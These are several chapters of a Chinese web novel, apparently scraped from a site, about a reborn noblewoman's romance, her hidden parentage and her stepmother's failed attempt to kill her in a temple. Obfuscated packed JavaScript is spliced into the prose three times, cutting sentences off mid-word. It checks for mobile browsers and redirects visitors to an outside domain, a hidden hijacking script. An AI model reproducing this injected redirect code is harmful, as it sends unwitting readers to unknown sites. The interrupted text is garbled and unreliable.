她勾唇笑了笑,闭上眼,抬起下颌,默许地迎了上去。 秦欢愣了一瞬,随后嘴角勾起,低下头,带着试探与珍惜,吻住了她的唇。 窗外,喜鹊振翅而飞,梅枝轻颤,暗香浮动,沉入流年深处。 无霜端着一盆温热的清水,沿着回廊走向苏绾的屋子。风从院中穿过,带起些微凉意,让她不自觉缩了缩脖子。 她抬手推开房门,蓦然瞧见苏绾偎在秦欢怀里,两张炽热的唇紧紧贴在一起…… 无霜一愣,脸颊瞬间烧得厉害,慌忙低头,连木盆也忘了放下,脚下生风,冲出了屋子。 谁知刚回到门口,就与匆匆跑过来的春蝉撞了个结实。 “哎哟!”两人齐齐叫了一声,各自跌了个满怀。无霜手里的木盆倾覆,溅了两人一身洇湿。 无霜爬起身,抖擞裙摆上的泥泞,瞪了春蝉一眼:“你急什么呀,赶着去投胎么。” 春蝉顾不得脏污的衣襟,拉住无霜的衣袖,急道:“我正要找你呢,文竹来信了。” 文竹跟着晴雷出门已五个月有余,期间一直石沉大海,杳无音信。春蝉放回济南的云雀,不管多少次都是空爪而归。无霜嘴上骂他没良心,每每夜深人静,她都担心着这人到底是死是活,究竟有没有把小姐和她们放在心上。另一方面,她也惦记着晴雷的安危,一腔思念,不敢对任何人倾诉。 听到春蝉提起“来信”二字,她怔了一瞬,拽紧春蝉的袖子,声音有些颤抖:“你说什么?” 春蝉摊开手心,“快看嘛。” 临行前,春蝉嘱咐童子仔细喂养她的云雀,一旦收到来自文竹的消息,立刻飞鸽传书。来来回回路上两地耽搁,这封信迟到了一个月之久。 二人迫不及待打开纸卷。 「小姐亲启: 文竹一切安好,勿念。 小的与晴雷大人沿黄河流域打听许久,皆无所获。后至黄河入海口,听闻有渔家新招上门女婿,持京城口音,相貌与时将军颇为相似,然其矢口否认。晴雷大人仍在查证,尚无定论。另有沈恪老将军已知悉,专门派人协助。 请小姐静候消息,切莫忧心。 文竹叩上」 “太好了,时将军终于有下落了。”小丫头春蝉一直为将军的安危担忧着。 可她转而又疑惑了,“他怎么不承认呢?还做了人家的上门女婿。” 无霜态度淡然,她将信纸重新叠好,“文竹不是说还在查证中,一切还未有定论。” 春蝉撅着嘴,“有消息总比没有强吧。” 无霜将纸卷藏进荷包内,嘱咐春蝉道:“莫要跟小姐提起此事,等到后面有结果了,再说不迟。” 她从来都不喜欢那位黑狗将军,也不愿意让小姐空守一份虚无缥缈的承诺。 想起方才屋内撞见的一幕,无霜不禁暗自为小姐捏了把汗。 屋内暖意融融。 秦欢掌心扣住苏绾的后颈,深深吻住柔软的唇瓣,力度之大,仿佛要将她整个人揉进骨血。 苏绾被吻得意乱情迷,指尖抵住秦欢的肩,含糊低语:“好像有动静。” 秦欢停下来,眼底尚存未散的情潮,声线微哑:“大概是霜儿。” 苏绾推开他,拂去鬓边散落的碎发,慌乱道:“若是被人瞧见,可如何是好?” 秦欢笑意未收,语气漫不经心:“看见又如何?” 苏绾瞪他一眼,嗔怪道:“你倒是不知羞!” 这一世较之上一世,她多了几分羞怯,少了几分恣意。秦欢睐着佳人,忽而分不清自己更喜欢哪种模样,是曾经那份大胆索吻的热情,还是眼前这副欲拒还迎的柔媚。 苏绾亦在暗自思量,这一世的秦欢,怎会如此不同,眼神炽热,举止张扬,就连亲吻都透着不容抗拒的霸道,让她无处可逃。 二人正各怀心思,门扉忽然被人推开。无霜端着一盆重新打好的热水进来,她低头快步上前,将水盆搁下,眼睛不敢乱看,“舅老爷府上遣人送信,大年二十九全家去灵隐寺烧香拜佛,吩咐秦公子和小姐一同前往。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974132|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏绾:“知道了,可还有别事?” 无霜:“萧公子送来了九芝斋的点心,给小姐尝尝鲜。” “哦?太阳从西边出来。”秦欢似笑非笑地扫了苏绾一眼,“他那般鲁莽之人,也懂得礼尚往来的道理。” 苏绾根本记不清自己是怎么回到客栈的,自然也记不得,她双臂勾着萧染的脖颈,双腿箍在他腰间,偏要他喊她“祖宗”,非要他“买供品吃”。作得萧染头皮发麻,差点被她折磨疯掉,连声承诺:“买,买!买空杭州的点心铺都给你!”她才肯罢休。 这边无霜迟疑半晌,终究还是隐去了关于文竹来信的消息,垂手退下:“霜儿没别的事了。” 浮光跃入青砖铺就的庭院,映出斑驳光影。秦欢屈指叩了叩桌沿,缓声道:“你终于拿到了和谈的资格。” 苏绾垂眸,“该来的,总要来了。” 院中梅枝轻颤,一瓣落花随风而下,兀自旋转飘零,飞向门槛之外。 很快到了大年二十九。 年终祭祀之日,灵隐寺前香烟弥漫,钟声清远。僧侣引着香客入殿,依序上前,焚香叩首,默念祈愿。 苏绾来得早些,寂然立于殿外廊下,素色斗篷映得眉眼宁静。她远远望着这满寺的香火,颇有一种跳脱世外的孤寂感。 她亦曾在佛前虔诚叩首,焚香祷告,惟愿此生能嫁与温念。若能如愿以偿,来世化作青石桥,任万人踩踏,风霜雨雪皆不言。 佛赐她一捧烈火焚身。 重活一世,愿望卑微而渺小,她只想要活下去,可命运却再一次偏离了旧轨。 一女许三夫。 何其可笑,何其讽刺。 大仇未报,恩怨未清,前路苍苍茫茫,深山暮雪,不知何处是尽头。 “阿弥陀佛。” 灵隐寺住持手捻佛珠,白眉白须,法相庄严,似悲悯,似叹息。 “汝心似幽谷寒霜,执念深重,难见光明。心生执念,荆棘缠身,愈挣愈痛。” 苏绾:“大师可否渡我超脱?” 住持:“佛曰:‘万法皆空,因果不虚。’世间因果,皆有定数,冤冤相报,何时能休?” “放下屠刀,方能见菩提。” 殷府全家出动,为殷潜康复祈福。此行排场极大,男丁骑马在前,女眷乘轿随后,家仆、护卫簇拥左右,车马长龙蜿蜒山道,引得路人纷纷侧目。 待至灵隐寺山门前,马蹄声与车轮声渐次止息。 殷夫人率先下轿,双手合十,念念有词,三步一叩,缓缓拾级而上。 身后跟着苏夫人,亦步亦趋,亦是一副虔诚模样。 殷家子女皆不敢怠慢,跪地祈望神佛庇佑家宅平安,父兄康健。连纨绔子弟苏尽欢也不例外,被仆人摁着脑袋跪拜,眉眼间尽是不耐烦。 不远处,一顶上等轿子停了下来。家仆小心掀开轿帘,殷潜缓步而出。 经历过生死,其面容比往昔更显清瘦,鬓边隐见霜白,唯独那双眸子依旧锋锐,丝毫不见暮气。尽管身子骨尚未痊愈,他步履仍旧稳健,背脊挺直,举手投足间自有一股不怒自威的气度。 苏绾远远望着殷潜趸步行来,敛袖上前两步,盈盈拜下:“外甥女苏绾,叩见舅舅大人。” 殷潜掀眸望去,但见少女神情端静,举止有度,既不卑不亢,也无半分谄媚。 他沉默片刻,缓缓点头:“起来吧。” 苏绾从命起身。 殷潜侧眸瞥了一眼苏绾,起身向殿内踱去。 苏绾顿了顿,莲步摇曳跟随。 放下屠刀? 喉咙被人扼住,岂敢束手就擒。 仇人血溅金刀之时,我自见菩提。 102. 祈福 大雄宝殿内,香雾氤氲,烛火明灭,映照金身佛像庄严肃穆。 殷潜跪于蒲团,双手合十,双目微闭,俯身叩拜。衣袍下摆拂过青砖地面,发出细微的摩擦声。 一拜天,风调雨顺; 二拜地,国泰君安; 三拜人,福寿安康。 每一拜皆深深三叩首,额抵地面,久久未起。 九叩首毕,殷潜缓缓起身,袖袍不经意间拂过功德箱,一枚铜钱自袖中悄然滑落,沿着青砖地面滚动,发出清脆的响声。 他俯身拾起铜钱,指腹摩挲上面的“太平通宝”四字,目光沉凝。 殿外放生池水光潋滟,锦鲤穿梭游弋,掀起圈圈波纹。 殷潜驻足池畔,掌心摊开,一把碎米洒入池中,引得鱼儿争相竞食,水花翻跃。 苏绾静立一旁,望着池水映出的倒影,轻声问道:“舅舅求了什么?” 殷潜掸去掌心残留米屑,淡淡道:“求个太平。” 苏绾喃喃重复:“太平……” 池中锦鲤翻腾,水面波纹层层荡开,映得两人的倒影支离破碎。 苏绾凝视碎裂水光,“若靠一炷香、一掬米,便能求得太平,那世间杀伐又何须存在?” 殷潜:“有些事,该做的要做,该求的也要求。人力有时穷尽,祈愿未必是为了求神,更是让自己心安。” 苏绾垂眸道:“舅舅求心安,那我该求什么?” 殷潜瞥了她一眼:“你自然是求良缘。” 顿了顿,似想起什么,“我替你苦寻的乘龙快婿,你不喜欢吗?” 苏绾轻声道:“舅舅的心意,外甥女心领了。并非我不识抬举,辜负了舅舅的美意,实在是母亲忒任性妄为,一味得罪了温侍郎,致使一纸婚约作废,落得眼前这般尴尬境地。” 殷潜抬手挤按睛明,略微无奈道:“你母亲的性子,我自是比谁都了解,我不怪你。只是你错失了温念这棵大树,后半生幸福恐将付诸东流。” 连带着他苦心孤诣所布置的棋局,也一应乱了套。本来他看好温如初早晚入阁,还以为自己握准了内阁的命运。 苏绾岂会读不懂殷潜的心思,她勾唇轻笑道:“我的幸福,从来不假于他人之手。” “舅舅何必长他人志气,灭自己威风?那温侍郎,不过攀上了内阁与后宫,倒也不至于让舅舅如此忌惮。” 低下头,指尖拂过石栏,“舅舅偏安江南一隅,可知树大招风的道理?他若要对付你,监茶也好,漕运也罢,无中生有,总能抓住破绽。” 复又抬眸,目光凌厉:“欲加之罪,何患无辞。今日舅舅忍让,以为能侥幸脱身,明日他便寻上别的由头置你于死地,敢问舅舅,欲躲到何时?” “莫若釜底抽薪,纠集一切可用之人,先发制人,敢叫日月换新天!” 话音落下,她才意识到自己一时激愤,狂妄自大过了头,竟口不择言。 殷潜眉头一皱,“你……大胆!” 也未怪罪苏绾无礼,长叹一声,“老夫岂是糊涂之人,怎会不知,倾巢之下,焉有完卵?然贵妃气数已尽,不过苟延残喘,东西二厂相争,贵妃必败。” 苏绾平生最恨这些人的妄自菲薄,忒没骨气。她就不信了,倾尽天下之力,怎么就拿不下小小的温念? “败不败,也要试过才知晓。”苏绾咬牙,语气抑扬顿挫。 池中锦鲤翻腾渐息,水波平复,倒映着两人沉默的身影。 剑拔弩张之后,殷潜忽而笑了,“想不到你年纪不大,看得竟然比老夫还远,还深。看来之前,是我错看了你。” 他顿了顿,似做了最终决定,“也罢,就听你的,力挺贵妃,反正老夫如今也没有退路了,谁让我欠你的人情呢?收买倭寇一招,你的确表现不错,不,应该说精彩绝伦。” 沉吟片刻,又补充道:“不过有一点,你说错了。” 哪里错了?苏绾抬眸,与他对视。 殷潜负手而立,望向远方,“所谓党争,不过是帝王手中的平衡之术。这天下,从始至终,都是皇家的天下。” 苏绾眸色微敛,脑海中浮现前世种种。 皇帝老儿自以为江山稳固,却被温念玩弄于股掌之间,一杯毒酒殒命于萧染之手。若真懂什么“平衡之术”,何至于这般惨淡收场? 正思索间,殷潜忽然转眸,目光炯炯盯着苏绾,“既然如此,老夫也不必再替旁人遮掩了。” “有一件事,我该告知——你,其实并非苏君识所生。” * 斋堂内,烟霞浮动,素纱低垂。僧人奉上清茶果点,一应素净清淡。 殷夫人端坐上首,殷家子女亲眷分席而坐。他们举止端庄,皆不多言,唯有苏尽欢懒散靠在木椅,手里摆弄着茶盏,百无聊赖地扫视一桌斋点。 桌上摆着素糕果脯,蜜渍枇杷泛着莹润光泽,龙井茶酥细腻绵软,还有几碟时令鲜果,清香四溢。 苏尽欢随手捏起一块茶酥,咬了一口,皱起眉头:“这也忒寡淡了,没滋没味,和尚们整日吃这些糟粕,怎么活得下去?” 殷夫人淡淡道:“既是佛门清净地,吃的是修行,讲的是敬重。你若不愿吃,就别动手拿。” 他的这位舅母,向来严格要求子女,不似母亲那般宽容。苏尽欢不敢怠慢,撇撇嘴,不情不愿地又啃了一口,勉强咽下:“罢了罢了,权当尝个新鲜。” 殷夫人不再理会他,转眸看向左右,“怎不见小妹?” 管事嬷嬷躬身回道:“苏夫人出恭去了,还未回来。” 殷夫人捻起茶盏:“等下叫她去偏殿佛堂汇合。” 偏殿佛堂内,苏夫人步履轻缓,绕过雕梁画栋回廊,踱入幽暗深邃的堂室。烛火轻轻跳跃,映得她眼底暗光浮动。 她借口出恭,实则偷偷溜入佛堂,袖中布包紧攥,掌心微微发汗,隐隐透出一丝躁意。 半年前,大理寺牢狱中,她为了泄愤,亲手将七根银针刺入苏绾体内,巧妙藏匿于奇经八脉之间。 按照原本设想,假以时日,银针随血脉游走,一点一点穿透筋骨脏腑,终会让苏绾肠穿肚烂而亡。 此计极妙,温水煮青蛙,旁人根本察觉不到她的手笔。 可惜,她等不及了,也不愿再等下去。 苏绾从未给她活路,逼得她家破人亡、夫离女散。曾经高高在上的苏家主母,如今竟要寄人篱下,活得宛如笑话一样。想她苏殷氏一生机关算尽,到头来挣得白茫茫一片大地干净。 她不甘心! 今日,便是那个贱人的死期。 苏夫人打开布包,现出一块黝黑耀石——玄铁磁石,乃天地奇物,能引动金属之物。 只需她贴身携带磁石,借机靠近苏绾,银针便会被强行吸出,自行穿透血肉。届时苏绾将七窍流血而亡,痛不欲生。 世人既不知苏绾身中银针,也不知是她苏夫人动的手脚,因为没人握有证据——至于那块磁石,只消说自己求来的护体奇物。 先前在殷府时,苏绾身边总有人护着,不是秦欢与萧染,便是那两个跟前伺候的婢女无霜与春蝉。 可今日不同,婢女不得入寺,萧染非亲非故,并未同行而来。秦欢更是推说临时有事,根本未曾上山。 天赐良机,机不可失,时不再来。 苏夫人缓缓吐出一口气,压下心头狂喜,眼底寒光浮动。她低头轻轻摩挲磁石,恍惚看到苏绾挣扎哀嚎、血染寺庙的一幕。 佛祖慈悲?她嗤笑一声,心念如毒蛇盘踞。 佛祖若真慈悲,就不会让她孑然一身,孤独终老。 苏夫人信步走向佛堂深处。 * 放生池畔,殷潜操着深沉的钱塘嗓音,娓娓道出真相,揭开那段尘封已久的往事。 苏绾并非苏君识的亲生女儿,她的生母九香,原是扬州堕花院的一名瘦马。 堕花院幕后坐镇的高人,正是殷潜为首的江南股东团。他暗中经营此地许多年,专门派人网罗姿色出众的幼女,从小精心调教,待其及笄,送入各大官宦之家为妾。 借着这门瘦马生意,再加上后来的倭寇、海贸、盐运等交易,让殷潜在江南,布下错综复杂的人脉利益网织。 九香生得如花似玉,自五岁从战争贩子或人伢子手里买得,养在堕花院到十六岁,被一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982986|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从京城远道而来的神秘客人看中。二人私相授受,情投意合,如胶似漆。 很快,九香怀上了身孕。 她满心欢喜,等待客人跟老鸨买断卖身契,岂料等来的,却是他不辞而别的消息。 九香从此夜夜洒泪,可怜长寂寂。 殊不知,这位神秘客人,并非寻常富商,而是位及九五之人。打着微服私访的名义,看尽江南烟雨。 彼时殷潜尚为正四品扬州知府,奉命招待贵客,并亲自将他引入堕花院,得以邂逅九香。 一朝东窗事发,惹得太后震怒,急召客人回京,不许他在扬州多留片刻。同时密令扬州知府殷潜,务必斩草除根,除掉九香母子。 客人临行前托付殷潜,恳求他妥善照顾庇佑九香,保她母子平安。 殷潜一向两边下注,既不能违抗太后命令,也不能让客人为难。思来想去,他决定采取折中的办法——安排一场“拐卖逃亡”,让九香远离扬州,潜入京城——最危险的地方,往往最安全。 他找来人伢子大金牙,策划了一出拐卖戏码,将九香秘密送往京城春月坊。为了确保她在青楼里不至受人欺辱,殷潜又暗中施压新婚不久的妹夫苏君识,勒令其“包养”九香。 当然,殷潜未曾明说实情,只简单交代苏君识,扬言这是“上头的意思”。 苏君识并非愚莽鲁直之人,殷潜贸然塞给他一名美妇,来历不明自然不敢轻易接手。无奈殷家势雄,苏君识本就低人一等,又生性懦弱,硬着头皮将九香改了良籍,养在春月坊,充做外室。 虽说是外室,苏君识却连九香一根手指都不曾碰过,他没那个胆子,敢顶风作案。但他的戏码,演得足够真实,每隔一段时间就去春月坊探望,银子花出去也不心疼,也算对得起殷潜的托付。 一晃八年过去,彼此相安无事。 某日,苏夫人得知此事,震怒不已。她不顾苏君识苦苦哀求,用一顶小轿,强行将九香抬回苏家,娶做妾室。 自打九香进门以后,苏夫人对她处处打压,百般刁难,甚至亲手设下毒计,将九香沉塘溺死。 苏君识明知九香死得冤枉,却不敢对外声张,只能装聋作哑,任由此事被掩埋。 殷潜得知后,气得七窍生烟,可事已至此,他既无力补救,也无法将真相捅破。苏君识是他扶持的亲妹夫,苏夫人又是他的嫡亲妹妹,叫他如何处置凶手? 这桩旧事,就此尘封于岁月的沉淀。 可怜九香一生,身世浮沉,未曾再见那位神秘客人一面,最终香消玉殒,死于毒妇之手。 苏绾闻言,心中翻起惊涛骇浪。 她万万没想到,自己的生母,竟然有着如此惊心动魄的人生。真相远比她想象的更为复杂、更为凄惨。一时间,各种复杂的情绪涌上心头,愤怒、不甘、悲痛……交织在一起,令她忍不住潸然泪下。 “那位客人,”苏绾声音微颤:“他……可曾知晓娘亲的结局?” 殷潜目光一顿,轻叹了一声,“世间之事,又如何逃得过那位的法眼?不过是睁一只眼,闭一只眼罢了。” 言毕,他摇了摇头,语气里带着几分淡淡的讽意。 “最是无情帝王家。” 短短七字,道尽了世间最冷漠的真相。 苏绾的心脏仿佛被狠狠揪住,胸口一阵钝痛。 殷潜望着苏绾,缓缓道:“上一辈的恩怨,本不该再牵连到你们这些小辈。我知你对苏夫人心怀嗔恚,但念在我曾收留你娘亲的情分上,你莫要再记恨你的母亲罢。” 他们本是同根生的血亲,自然相依相护。殷潜此番故意向苏绾透露身世,为的就是道德绑架她,逼迫她放弃仇恨。 可惜那份弑母之恨,那身刺骨之痛,又岂是一句情分,就能遮掩过去的? 苏绾垂眸不语,许久,抬头看向殷潜。 “是,舅舅。” 她的声音轻缓,听不出喜怒。 池水金光凛凛,映出她眼底幽深的两团暗火。 二人停驻一阵,直至殷夫人几次派人来催,这才一前一后,递嬗进入偏殿佛堂。 那里有一出好戏,正等着苏绾上场。 103. 反杀 大雄宝殿后方,药王殿琉璃金顶流转华彩,殿中供奉着药王菩萨,慈眉善目,金身足有丈高。两侧楹联高挂:“五蕴皆空,一尘不染,感化归正觉;诸恶莫作,众善奉行,精进证菩提。” 因着殷潜前日遇刺,殷夫人特意携全家老小上山,专程拜谒这尊“消灾延寿”药师佛。当苏绾踏入佛堂时,殷夫人已领着子女叩拜了数轮。 只见殷夫人翟衣铺展,三回九转虔诚叩首。身后子女们鸦雀无声地起伏,唯有苏家小公子苏尽欢缩在角落,歪斜的衣领沾着糖霜与杏仁碎,脖颈不安分地扭动,活似被香火熏疼了眼。 素色裙裾无声拂过青砖地面,苏绾悄然趸至苏尽欢身旁,寻了一方蒲团,端端正正地跪拜祈祷。 自打从苏夫人口中得知,端阳夜那场杀人事件,竟由苏绾全权策划,苏尽欢对苏绾的恐惧与日俱增,想起自己小时候没少欺负她,整日里如履薄冰,唯恐她会记仇报复他。 少年绷紧脊背,喉结滚动,结结巴巴道:“我、我这里挤,你、你去别处吧。” 苏绾斜睨他一眼,广袖滑落出半截皓腕,手肘用力撞向少年肋下,“你起开,不就有位置了?” 被她这么一推,苏尽欢向后一栽歪,翻身滚了一遭,衣襟擦地弄出些许声响,惹得众人纷纷侧目。 殷夫人掌心沉香念珠停下,面露不悦:“站没站相,坐没坐相,成何体统!” 苏尽欢手忙脚乱爬起身,衣襟糖渣漱漱落地,也不敢告苏绾的状,灰溜溜地挪向别处。他还算有眼力见,明白在这殷府里头,没人会像在苏府那般护着他。 苏绾刚理好裙裾,忽觉香灰骤起,迷了她的眼。她低头揉了揉眼睑,再抬头时,却见苏夫人飘飘然跪坐身旁。 才从殷潜那里听得娘亲身世,此刻她对苏夫人打心眼里憎恶,全然无心与苏夫人同处一处呼吸。 苏绾厌恶地甩了甩裙摆,正要起身离开,听得苏夫人一声冷笑:“怎么,见了母亲,连礼数都忘了?还是说,你根本没脸见人?” 听她这么一说,苏绾反而不想走了,垂眸道:“母亲这话说的,女儿怎敢忘礼?怕扰了母亲的清净,反倒显得女儿不懂事了。”言毕,她挺直腰板,双手合十,开始认真祷告。 “啧。”苏夫人丹凤眼微眯,嘴角扯出一丝似笑非笑的弧度。袖中冰凉的磁石贴着腕骨,心内盘算着如何靠近苏绾——那小娼妇素来机警,稍有不慎便会打草惊蛇。 猎人捕猎,须得耐心。 “阿弥陀佛。”苏夫人念了几句经文,忽然长叹一声,“女儿,从前你总说什么灵童克母,命弱女子抚养则反噬所出。我那时还怪道你胡诌,如今日思夜想,终于想通了这个道理。” 她顿了顿,黯然道:“想来你才是灵童转世,我含辛茹苦将你抚养长大,逆天而行,命里犯了煞星,落得个夫离女散、子伤家败的凄凉下场。” 那副矫揉造作模样,令苏绾心里作呕,冷声道:“母亲这话说对了一半,一来,我并非什么灵童转世,都是胡诌骗你的,好让你放过芸娘和宝哥儿;二来,您也不必口口声声讲什么哺育之恩。我自有娘亲养育,只不过……” 她垂下眼眸,声音渐低:“想来我命里亲恩浅薄,不过十年光景,福分耗尽,折断了亲缘这根线。” “全拜母亲所赐。”苏绾一字一顿,声音冷得仿佛要将这满殿香火都淬成冰。 字字带刺,句句讥讽。 若在往常,苏夫人早就一巴掌招呼她了,眼前不得不强压怒火,袖里滑出一方丝绸帕子,拭去唇角的冷意,温声道:“你娘的事,确是母亲背了黑锅。你那时年纪小,童言无忌,不懂世道艰险,我不怪你。” 帕子掩住半张脸,眼角泪光闪烁:“这些年风风雨雨,咱们不也相安无事?母女一场,虽有误会,终究血浓于水,一家人不说两家话。” 苏夫人一反常态,绝对没安好心。苏绾冷眼瞧着她做戏,指尖在袖中掐得发白。 苏夫人话锋一转,惋惜道:“我为你操劳终身大事,替你寻了温侍郎这般良配。可惜啊,姻缘断了弦,有情人终成陌路。” “良配?” 她不提温如初也罢,一提起来,令苏绾怒火中烧,她兀自站起身,裙裾翻飞,手指苏夫人,怒道:“母亲可不要再讲笑话了,真真笑死人了。与温侍郎的联姻,从头到尾不过是一场权力的交易,可有人问过我愿不愿意?从前我愚钝,任由你们摆布。如今我看清了,你们个个都是豺狼虎豹,只顾自己利益,何曾管过他人死活?” 她声音不高,字字如针,刺得苏夫人面色骤变,“你、你怎能对长辈如此不敬?我全是一片好心……” “好心?”苏绾嗤笑。 “母亲的好心,便是将我娘逼上绝路,将我当作棋子摆布?若不是看在苏君识曾给我娘一处安身之所,我连这些话都懒得与你说。真要算起来,你这条命,怕是不够还债的。” 苏夫人脸色由红转白,又由白转青,像是被剥去了金玉华服,露出内里的不堪败絮。她从未被人指着鼻子骂得这般不堪过,更没想到从前那个三棒子打不出一个屁的木头桩子,竟变得如此锋芒毕露,专戳人的肺管子。 苏夫人张了张嘴,不知该如何反驳。她一辈子养尊处优,从没学会温声软语服人。她既放不下身段乞求谅解,又不能当场撕破脸皮。 苏绾见她这般畏惧模样,好似一拳打在棉花团,她叫不准对方端地是何歹毒心思。 绝对有诈。 苏绾抬手揉了揉眉心,透出几分倦意:“我有些乏了,要回去歇息,母亲再会吧。” 眼见苏绾旋裙欲走,苏夫人心内一急,五指遽然扣住她的手腕,声音拔高:“女儿,女儿,你莫走。你听我说,我真的抓到你娘偷人的证据!” 苏绾心头一震。 众人听到动静,纷纷投来探究的目光。 “你干什么呀。”苏绾试图抽回手,却被苏夫人攥得更紧,硬是将她拽扯到金殿红柱后面。 苏夫人压低声音,语速飞快。那是八年前的一个雨夜,管事嬷嬷匆匆来报,巷口停了一辆黑色马车,整整一夜未动。车里下来一位披着斗篷的男人,身形高大,帽檐压得很低。他在府外徘徊许久,翻墙进入九香就寝的西厢房。 苏夫人闻讯,立刻带着心腹前去查看。透过窗棂缝隙,她看见九香和男人相对而坐。烛光下,九香抓着他的袖子,低声诉说着什么,而男子背对苏夫人,沉默不语。 苏夫人屏息细听,依稀听见九香恳求他:“带我走。” 男子抬手温柔地抚过她的发丝,始终不肯点头答应她。九香伏身投进他的怀抱,单薄的肩膀颤抖不已。 两人暧昧偷情的一幕,让苏夫人怒火中烧。九香好大的胆子,竟敢私通外男,败坏苏家门风。捉奸须捉双,待男子宽衣解带,再冲进去抓他个现行。 男子似乎无意逗留太久,低声交代几句,随即翻窗而出。九香痴痴立于窗前,目送背影消失于雨幕。 苏夫人立即推门而入,九香情知事已败露,跪地乞求苏夫人不要声张。 错失捉奸良机,苏夫人手中并无确凿证据,只得暂且按下怒火,留待日后清算。 那一夜之后,男子再未出现,而九香,也没能熬过那个秋天。 若不是殷潜已将身世和盘托出,苏绾断然不会相信苏夫人这番“捉奸”的说辞。 苏绾:“空口无凭,任你如何污蔑,休想败坏我娘的名声。” 苏夫人:“我怎会无的放矢?证据就在我手里。”说着,她从袖中取出布包,露出一块黝黑圆润的石璧,表面泛着清冷的光泽。 “这是那奸夫遗落之物。”她将石璧递向苏绾,“你若不信,大可亲自瞧瞧。” 苏绾听闻男子留有物件,心中不禁一动,警惕之心松懈了几分。她伸手接过石璧,正欲凑近细看—— 岂料苏夫人突然翻掌,趁她不备,“啪嗒”一声,将石璧紧紧贴近她的胸口。 苏绾猝不及防,背脊撞上红柱。借着身形微胖的优势,苏夫人将她死死抵住,令她动弹不得。 “娼妇,你的死期到了!”苏夫人狞笑着,眼中闪烁着疯狂的光芒,与大理寺狱神情如出一辙。 苏绾瞬间明白过来,那块石璧并非寻常玉器,而是玄铁磁石。苏夫人欲借磁力吸出她体内的银针,让她筋脉寸断,肠穿肚烂而亡。 苏夫人胸中积存了长达半年的恨意,顷刻间得以开闸释放,“没想到吧?你终于落入我的手中。你不是很得意吗?前日里,是谁不要脸地勾搭外男,靠卖肉来换取庇佑?” “哎哟。”苏绾痛苦地挣扎,眉眼皱成团,体内仿佛遭千万毒虫啃噬。 “乖女儿,以后每年的今日,为娘都会烧纸祭奠你,让你在阴间继续做官府小姐。”苏夫人嘴角噙着一抹微笑,准备静静地欣赏,她七窍流血的惨状。 “啧啧,母亲真乃天下女子楷模。”苏绾忽然身子一滞,缓缓抬起头,“你以为,我会毫无防备?” 苏夫人的笑容,瞬间僵在脸上。 “母亲刺入女儿体内的七根银针,早被我取出来了,一根不差。母亲傻傻等待针破的尊容,真是有趣极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一声呵斥,如重锤砸在少年心尖。他缩起肩膀,抱着脑袋慌道:“我、我不知道,我什么都不知道,别冲我来啊!” 苏夫人见亲生儿子不肯替她开脱,连忙转向其他人求助,可殷夫人根本不瞧她。 无奈之际,苏夫人隔着人群,向远远观望的殷潜求救,“哥哥,我是冤枉的!苏绾那小娼妇诬陷我,她害我!你快叫人拿下她,让她下大狱!” 殷潜早已看透他这个妹妹的本性——尖酸刻薄,阴毒狡诈。他心中揣着一把怒火,正愁无处发泄,哪怕苏绾真有几分算计,他也懒得再听苏夫人诡辩。 “休得胡闹。”殷潜沉沉吐出四字。 一向依赖仰仗的兄长,竟然对自己见死不救。苏夫人脸色瞬间晦暗,目下逡巡大遍,无人愿意替她开脱;而仇人手持磁石,朝着她森然阴笑。一时间,绝望与愤怒齐齐涌上心头,恨不得立刻杀死那个婊子。 苏夫人伸手拔下发髻金簪,恶狠狠威胁道:“娼妇,我今日就要刺死你!” 说着,直直朝苏绾心口刺去。 “不要啊。”苏绾惊呼着,身子疾步一侧,险险避开攻击。簪尖擦着衣袖划过,留下一道细微的裂口。 这一击落空,苏夫人来不及收势,身子不由自主地向前倾,“哎呦”。 “母亲小心!”电光火石之间,苏绾假意伸手去扶,实则暗中蓄力一推。 苏夫人踉跄几步,微胖的身体碰翻了檀香木架,发出一声沉闷声响。 “砰——” 木架剧烈晃动,长明灯随之倾覆,琉璃灯罩碎裂,灯油泼洒,火光骤起,如金蛇狂舞。 殿内惊呼四起。 “救命!”苏夫人被滚烫的灯油烫得惨叫连连,脚下灯油打滑,整个人失控后仰跌倒,后脑狠狠撞上供桌的棱角。 剧痛如雷霆般在脑中炸裂,她双目充血,四肢僵直瘫软倒地,脸颊扭曲,喉间发出“嗬嗬”气音。 众人怔然失色。 苏尽欢这才慌了,扑上前拼命摇晃苏夫人,“娘亲,娘亲!” 苏夫人口不能言,半侧身子抽搐不已。 殷夫人惊呼:“小妹她、她中风了!” 众人四处寻医,可惜秦欢不在。 苏绾平静地睇着眼前一幕,隐在衣袖内的手心,紧紧攥着磁石。 “佛堂之内,谋害女儿,天理难容。” 她施施然拂去袖侧沾染的灯油微尘,似喃喃自语,又似判官裁定。 104. 圣旨 永乐二十五年,除夕旧岁。 杭州城浸在一片铅灰色的雾霭中,殷府门前两盏大红灯笼在呼啸北风中打着转,朱漆门扉上的椒图铜环结着蛛网般的薄霜。 